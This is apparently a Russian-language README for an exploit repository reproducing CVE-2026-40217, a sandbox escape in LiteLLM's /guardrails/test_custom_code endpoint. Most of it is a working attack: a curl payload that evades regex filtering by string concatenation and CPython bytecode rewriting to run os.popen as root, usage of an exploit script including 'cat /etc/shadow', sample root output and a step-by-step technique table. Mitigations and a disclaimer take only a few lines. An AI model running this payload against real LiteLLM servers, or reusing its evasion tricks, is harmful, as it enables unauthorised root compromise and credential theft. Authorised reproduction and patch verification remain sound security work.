
Код для самостоятельного воспроизведения соответствующей уязвимости
LiteLLM
POST /guardrails/test_custom_code— Обход песочницы, приводящий к удаленному выполнению кода (RCE) от имени root в стандартной Docker-среде.
| Поле | Значение |
|---|---|
| CVE | CVE-2026-40217 |
| CVSS | 8.8 (ВЫСОКИЙ) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-913 (Некорректный контроль динамически управляемых ресурсов кода) / CWE-94 |
| Затронутые версии | LiteLLM ≤ 2026-04-08 (до v1.83.11) |
| Исправлено в | v1.83.11+ (замена самодельной песочницы на RestrictedPython) |
| Обнаружил | Markus Vervier — X41 D-Sec GmbH |
| Опубликовано | 2026-04-08 |
| Ссылки | X41 Advisory • GHSA-wxxx-gvqv-xp7p • oss-security |
Эндпоинт POST /guardrails/test_custom_code в LiteLLM позволяет аутентифицированным пользователям отправлять произвольный код Python для тестирования guardrail. Эндпоинт пытается ограничить опасные операции с помощью фильтрации исходного кода на основе регулярных выражений, но это можно полностью обойти с помощью техник перезаписи байт-кода CPython, что приводит к произвольному выполнению кода в процессе прокси. В стандартном Docker-образе прокси работает от имени root, что усугубляет воздействие.
# Install Python dependencies (required by exploit.py)
pip install -r requirements.txt
⚠️ Важно: Файл
docker-compose.ymlфиксирует уязвимый образ на определенном digest (sha256:7c311546...) от 22 марта 2026 года. Не меняйте тег наmain-latestили любую более новую версию — более поздние образы могут уже содержать исправление (RestrictedPython), даже если номер версии говорит об обратном (например,v1.83.10-stableбыл пересобран после патча и не уязвим).
# 1. Install dependencies (if not already done)
pip install -r requirements.txt
# 2. Start a vulnerable LiteLLM instance
docker compose up -d
# 3. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"
# 4. Read sensitive files (change the --cmd argument)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
--cmd "cat /etc/shadow"
# Or using curl directly
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/guardrails/test_custom_code \
-d '{
"custom_code": "def apply_guardrail(inputs, request_data, input_type):\n obj = str.mro()[1]\n def g(fn):\n yield fn.placeholder\n c = g(None).gi_code\n gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n for v in g(http_get):\n gd = v\n break\n bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n return {\"rce\": imp(\"os\").popen(\"id\").read()}",
"test_input": {"messages": [{"role": "user", "content": "test"}]}
}'
{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}
CVE-2026-40217/
├── README.md # Этот файл
├── docker-compose.yml # Одно-командная уязвимая среда
├── requirements.txt # Зависимости
├── exploit/
│ ├── exploit.py # Полный скрипт эксплуатации
│ └── payload.py # Модуль байт-кода полезной нагрузки
├── docs/
│ └── advisory.md # Переведенные детали уведомления
└── screenshots/ # Скриншоты доказательств
RestrictedPython вместо самодельной песочницы)/guardrails/test_custom_code на обратном прокси / API шлюзеdocker run --user 1000:1000 ...Отказ от ответственности: Этот материал предоставлен исключительно для образовательных целей и авторизованного тестирования безопасности.
| Шаг | Техника | Код |
|---|
| 1 | Обход regex с помощью конкатенации строк | "_"+"_gl"+"ob"+"als"+"_"+"_" |
| 2 | Получение класса object через str.mro()[1] | obj = str.mro()[1] |
| 3 | Доступ к объекту кода генератора через gi_code | c = g(None).gi_code |
| 4 | Замена __code__ функции через object.__setattr__ | obj.__setattr__(g, cn, c.replace(co_names=(gn,))) |
| 5 | Извлечение реальных builtins из http_get.__globals__ | imp = gd["__builtins__"]["__import__"] |
| 6 | Достижение RCE через os.popen | imp("os").popen("id").read() |